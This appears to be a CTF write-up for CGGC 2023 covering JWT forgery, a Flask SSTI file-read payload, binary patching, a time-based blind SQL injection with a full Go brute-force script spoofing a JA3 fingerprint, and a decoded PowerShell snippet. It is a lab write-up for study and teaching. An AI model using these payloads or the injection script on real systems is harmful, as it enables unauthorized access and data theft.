Skip to main content
  1. Posts/

CGGC CTF 2023 Preliminary Writeup

·1245 words·6 mins· loading · loading · ·
Table of Contents

[Web] bossti
#

Description:

I wish you were a boss wannabe.

bossti_1
This challenge clearly expects us to tamper with the JWT to log in.

bossti_2
After decoding the JWT, the signing Secret is empty.

bossti_3
Modify the JWT role to boss, as hinted by the challenge.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJyb2xlIjoiYm9zcyIsImhhY2siOiIifQ.VhS5VSRlR_RrgIlF-gdl-s1_PVHPQCxB3s8oHgwEPJ4

bossti_4
After logging in, the challenge turns into an SSTI problem. Wappalyzer shows that the service is Python Flask, so we can start by trying Python SSTI payloads.

bossti_5
Putting {{ 7*6 }} into the hack field makes the server evaluate it as 42, confirming SSTI.

http://10.99.111.109:5000/boss?data={%27user_id%27%3A+1,+%27role%27%3A+%27boss%27,+%27hack%27%3A+%27{{7*6}}%27}

bossti_6
The challenge asks us to find Flag.txt, so the next step is to look for a file-read payload. Ideally, we would first find a way to list files, but guessing the current directory happened to work.

http://10.99.111.109:5000/boss?data={%27user_id%27%3A+1,+%27role%27%3A+%27boss%27,+%27hack%27%3A+%27{{get_flashed_messages.__globals__.__builtins__.open(%22Flag.txt%22).read()}}%27}
  • flag: CGGC{"S$T1_V3RY_EZ_2_Pwn3D_C0ngr4t$"}

[MISC] Space game
#

Description:

Play a fun space game and try to get a high score. Move using the arrow keys and press ‘Z’ to attack.

space_game_1
binjgb is a Game Boy emulator. According to its GitHub documentation, the .gb file needs to be served from the server.

space_game_2
Opening the developer tools and checking the loaded requests shows that the browser downloads game.gb, and the flag is hidden inside that file.

  • flag: CGGC{Y0U_WIN!!123}

[Reverse] GaoYi
#

Description:

Anyone can participate with three million US dollars.

gaoyi_1
The challenge provides an executable. We need to gamble with GaoYi twice and win before getting the flag.

gaoyi_2
The main function contains two gambling rounds. It reads user input and then checks whether we win.

gaoyi_3
The flag we want is in readFlag().

gaoyi_4
readFlag() calculates the flag. I originally thought about reimplementing the calculation, but that felt unnecessary.

gaoyi_5
The idea is to skip the gambling logic and jump directly into the flag calculation path. The target is 0x00401e3c, which lets the program calculate the flag directly.

gaoyi_6
So I patched the beginning of main and tried to jump there directly.

gaoyi_7
gaoyi_8
Change the original instruction eb6a to e939040000.

gaoyi_9
gaoyi_10
Patch the binary.

gaoyi_11
Successfully got the flag.

  • flag: CGGC{J00_sh4ll_n07_sH1P_S3cR37S_70_cuS70M3r}

[Web] Flag Slot Machine
#

Description:

If you’re lucky enough, you’ll be able to get the flag.

// flag.php
<?php
include_once("config.php");

if(isset($_GET["secret"])) {
    $pwd = $_GET["secret"];
    $dbname = 'secret_db';
    $conn = new mysqli(HOST, DBUSER, DBPASS, $dbname);
    
    if ($conn->connect_error) {
        die('Connection failed: ' . $conn->connect_error);
    }

    $stmt = $conn->prepare("SELECT * FROM s3cret_table");
    $stmt->execute();

    $result = $stmt->get_result();

    $response = array("data" => generateRandomString(strlen($flag)));
    if ($result->num_rows > 0) {
        $res = $result->fetch_assoc();
        if($res["secret"] == $pwd)
            $response = array("data" => $flag); // <-- flag here
    }

flag.php requires us to provide a secret through a GET parameter. If it matches the secret in the database, we can get the flag.

// login.php
<?php
include_once("config.php");
fingerprint_check();

if(isset($_POST['user']) && isset($_POST['pwd'])) {
    $user = $_POST['user'];
    $pwd = $_POST['pwd'];
} else {
    $user = $pwd = "";
}

//...

if($user != "" && $pwd != "") {
	$dbname = 'slot_db';
	$conn = new mysqli(HOST, DBUSER, DBPASS, $dbname);
	if ($conn->connect_error) {
	    die('Connection failed: ' . $conn->connect_error);
	}

	$conn->set_charset("utf8");
	$stmt = $conn->prepare("SELECT * FROM users WHERE username = '" . $user . "' and password = '" . md5($pwd) . "'"); // <-- SQLi here
	$stmt->execute();
	$result = $stmt->get_result();

	if ($result->num_rows > 0) {
	    $res = $result->fetch_assoc();
	    $_SESSION['login'] = $res["username"];
	    echo "<div>Login successful!</div>";
	    echo "<script>setTimeout(function(){ window.location.href = 'index.php'; }, 1000);</script>";
	} else {
	    echo "<div class=\"alert alert-danger\" role=\"alert\">Login failed! QAQ</div>";
	}

login.php has a SQL injection vulnerability. Unfortunately, there is no output, so we cannot directly dump the database contents to the page.

// config.php
<?php
session_start();
define("FINGERPRINT", "771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,23-65281-10-11-35-16-5-13-18-51-45-43-27-17513,29-23-24,0");
define("DBUSER", "kaibro");
define("DBPASS", "superbig");
define("HOST", "localhost");
$flag = 'CGGC{fake_flag}';

function session_check() {
    if(!isset($_SESSION['login']) || $_SESSION['login'] == "") {
        header("Location: login.php");
        die("Plz login");
    }
}

function fingerprint_check() {
    if($_SERVER['HTTP_SSL_JA3'] !== FINGERPRINT) 
        die("Bad hacker! Wrong fingerprint!"); 
}

Before attempting to log in, we are blocked by the JA3 fingerprint check. This challenge also appeared in Balsn CTF, and the following writeup is useful. I initially followed the writeup and used NodeJS, but asynchronous execution made timing checks awkward, so I switched to the Go version.

use mysql;
CREATE USER 'kaibro'@'localhost' IDENTIFIED BY 'superbig';
GRANT SELECT ON *.* TO 'kaibro'@localhost IDENTIFIED BY 'superbig' WITH GRANT OPTION;
FLUSH PRIVILEGES;


CREATE DATABASE slot_db;
use slot_db;
DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (
  `id` int(11) DEFAULT NULL,
  `username` text,
  `password` text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

LOCK TABLES `users` WRITE;
INSERT INTO `users` VALUES (1, 'kaibro', '4647570f7638e378e490db41c24c800a');
UNLOCK TABLES;

CREATE DATABASE secret_db;
use secret_db;

DROP TABLE IF EXISTS `s3cret_table`;
CREATE TABLE `s3cret_table` (
  `id` int(11) DEFAULT NULL,
  `secret` text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;


LOCK TABLES `s3cret_table` WRITE;
INSERT INTO `s3cret_table` VALUES (1, 'meowmeowmeow');
UNLOCK TABLES;

Before using UNION SELECT for SQL injection, we need to determine the number of columns. The challenge provides the database schema, so we already know there are three columns. Our target is the secret from secret_db.s3cret_table; because there is no output, we have to extract it one character at a time. First, we determine the length of secret with a time-based payload: when the condition is true, the server sleeps for a few seconds. After a few attempts, the length is confirmed to be 32.

  • user=kaibro' UNION Select 1,2,IF(length(secret)=32,SLEEP(5),0) FROM secret_db.s3cret_table WHERE id=1 -- '&pwd=123'

Next, brute-force the secret character by character by comparing ASCII values. One thing to watch out for is that the secret updates periodically, so do not do this manually. Yes, I wasted time doing it manually, and that is how I noticed the characters were probably in [0-9a-f]. This is also why the Go version is better here: it makes timing checks easier to handle.

package main

import (
    "fmt"
    "github.com/Danny-Dasilva/CycleTLS/cycletls"
    "strconv"
    "time"
    "net/http"
    "crypto/tls"
    "io/ioutil"
)

func main() {

    client := cycletls.Init()
    // secret length = 32
    // Body: 'user=kaibro' UNION Select 1,2,IF(length(secret)=32,SLEEP(5),0) FROM secret_db.s3cret_table WHERE id=1 -- '&pwd=123',
    secret := ""
    chars := "abcdef1234567890"

    for len(secret) < 32 {
        for _, char := range chars {
            payload := "user=kaibro' UNION Select 1,IF(SUBSTRING(secret," + strconv.Itoa(len(secret)+1) + ",1) = CHAR(" + strconv.Itoa(int(char)) + "),SLEEP(2),null),3 FROM secret_db.s3cret_table WHERE id=1 -- '&pwd=123"
            //fmt.Println(payload)
            start := time.Now()

            _, err := client.Do("https://10.99.111.111:8787/login.php", cycletls.Options{
                Body : payload,
                Ja3: "771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,23-65281-10-11-35-16-5-13-18-51-45-43-27-17513,29-23-24,0",
                UserAgent: "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0",
                Headers: map[string]string{
                    "Content-Type": "application/x-www-form-urlencoded",
                },
                InsecureSkipVerify: true,
                }, "POST");
            if err != nil {
                fmt.Print("Request Failed: " + err.Error())
            }

            elapsed := time.Since(start)
            //fmt.Println(elapsed)
            if (elapsed >= 2000000000) {
                secret = secret + string(char)
                fmt.Println(secret)
                break
            }
        }
    }
    http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
    response, err := http.Get("https://10.99.111.111:8787/flag.php?secret=" + secret)
    if err != nil {
        fmt.Print("Request Failed: " + err.Error())
    }
    // read response body
    body, error := ioutil.ReadAll(response.Body)
    if error != nil {
        fmt.Println(error)
    }
    // close response body
    response.Body.Close()

    // print response body
    fmt.Println(string(body))
}

flag_slot_machine_1
flag_slot_machine_2
After the brute force finishes, send the recovered secret to flag.php to get the flag.

[MISC] Link list#

Description:

DO you know how automatic destination file work? (The flag is separarted into four parts)

link_list_1
At the bottom of the file, I found the last part:

  • C:\Challenge\_l457_p4r7_15_h1dd3n!}

link_list_2
To recover the flag parts in the correct order, use the path after l l e n g e \. If you search with C:\Challenge\, the order gets mixed up.

F L A G IS Pr ob bly Here! Youre Clo se Here It is_ CG GC{ 3 z _f 1 r5 7_ qu 4 r 7 3r _
  • CGGC{3z_f1r57_qu4r73r_

link_list_3
For this part, extracting and running the PowerShell script is enough.

C:\> $t='aRB3BDtBNRAiBGFBNBA2BGVB[tB0BDdBNRAzBDRB[tBtBD7BNtB>';for(($i=0);$i-lt$t.Length;$i++){$k+=[char]($t[$i]-bxor3)};[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($k))
m4l1c10u5_7h1rd_0n3
  • m4l1c10u5_7h1rd_0n3

Only the second part was still missing in the end, so I did not fully solve this challenge :(

  1. CGGC{3z_f1r57_qu4r73r_
  2. m4l1c10u5_7h1rd_0n3
  3. _l457_p4r7_15_h1dd3n!}

Related